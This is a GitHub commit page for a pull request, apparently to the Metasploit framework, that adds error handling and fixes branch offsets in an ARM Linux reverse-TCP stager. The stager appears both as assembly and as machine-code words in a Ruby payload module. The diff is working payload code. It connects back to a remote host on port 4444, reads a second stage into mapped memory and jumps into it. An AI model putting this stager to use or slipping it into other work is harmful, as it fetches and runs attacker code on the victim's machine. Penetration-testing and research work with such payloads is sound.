Skip to content

Commit 4647f34

Browse files
authored
Merge pull request #1 from timwr/fix-8543
fix mmap return cmp
2 parents 93c4b3f + 9cf9d22 commit 4647f34

File tree

2 files changed

+24
-7
lines changed

2 files changed

+24
-7
lines changed

external/source/shellcode/linux/armle/stager_sock_reverse.s

Lines changed: 17 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -34,12 +34,16 @@ _start:
3434
mov r1,#1 @ type = SOCK_STREAM
3535
mov r2,#6 @ protocol = IPPROTO_TCP
3636
swi 0
37+
cmp r0, #0
38+
blt failed
3739
@ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
3840
mov r12,r0 @ sockfd
3941
add r7,#2 @ __NR_socket
40-
add r1,pc,#144 @ *addr
42+
add r1,pc,#196 @ *addr
4143
mov r2,#16 @ addrlen
4244
swi 0
45+
cmp r0, #0
46+
blt failed
4347
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
4448
mov r0,r12 @ sockfd
4549
sub sp,#4
@@ -48,6 +52,8 @@ _start:
4852
mov r2,#4 @ len
4953
mov r3,#0 @ flags
5054
swi 0
55+
cmp r0, #0
56+
blt failed
5157
@ round length
5258
ldr r1,[sp,#0]
5359
ldr r3,=0xfffff000
@@ -63,6 +69,8 @@ _start:
6369
mov r4,r0 @ fd
6470
mov r5,#0 @ pgoffset
6571
swi 0
72+
cmn r0, #1
73+
beq failed
6674
@ recv loop
6775
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
6876
add r7,#99 @ __NR_recv
@@ -78,12 +86,20 @@ loop:
7886
ble last
7987
mov r2,#1000 @ len
8088
swi 0
89+
cmp r0, #0
90+
blt failed
8191
b loop
8292
last:
8393
add r2,#1000 @ len
8494
swi 0
95+
cmp r0, #0
96+
blt failed
8597
@ branch to code
8698
mov pc,r1
99+
failed:
100+
mov r7, #1
101+
mov r0, #1
102+
swi 0
87103
@ addr
88104
@ port: 4444 , sin_fam = 2
89105
.word 0x5c110002

modules/payloads/stagers/linux/armle/reverse_tcp.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -39,6 +39,7 @@ def initialize(info = {})
3939
},
4040
'Payload' =>
4141
[
42+
# Generated from external/source/shellcode/linux/armle/stager_sock_reverse.s
4243
0xe59f70f0, # ldr r7, [pc, #240] ; set 281(0x119) to r7
4344
0xe3a00002, # mov r0, #2
4445
0xe3a01001, # mov r1, #1
@@ -75,8 +76,8 @@ def initialize(info = {})
7576
0xe1a04000, # mov r4, r0
7677
0xe3a05000, # mov r5, #0
7778
0xef000000, # svc 0x00000000 ; invoke mmap2
78-
0xe3500000, # cmp r0, #0
79-
0xba000012, # blt 817c <failed>
79+
0xe3700001, # cmn r0, #1
80+
0x0a000012, # beq <failed>
8081
0xe2877063, # add r7, r7, #99 ; set 291(0x123) to r7
8182
0xe1a01000, # mov r1, r0
8283
0xe1a0000c, # mov r0, ip
@@ -86,17 +87,17 @@ def initialize(info = {})
8687
0xe2422ffa, # sub r2, r2, #1000
8788
0xe58d2000, # str r2, [sp]
8889
0xe3520000, # cmp r2, #0
89-
0xda000002, # ble 80fc <last>
90+
0xda000004, # ble 80fc <last>
9091
0xe3a02ffa, # mov r2, #1000
9192
0xef000000, # svc 0x00000000 ; invoke recv
9293
0xe3500000, # cmp r0, #0
9394
0xba000005, # blt 817c <failed>
94-
0xeafffff7, # b 80dc <loop>
95+
0xeafffff5, # b 80dc <loop>
9596
# last:
9697
0xe2822ffa, # add r2, r2, #1000
9798
0xef000000, # svc 0x00000000 ; invoke recv
98-
0xe3500000, # cmp r0, #0
99-
0xba000000, # blt 817c <failed>
99+
0xe3500000, # cmp r0, #0
100+
0xba000000, # blt 817c <failed>
100101
0xe1a0f001, # mov pc, r1
101102
# failed:
102103
0xe3a07001, # mov r7, #1

0 commit comments

Comments
 (0)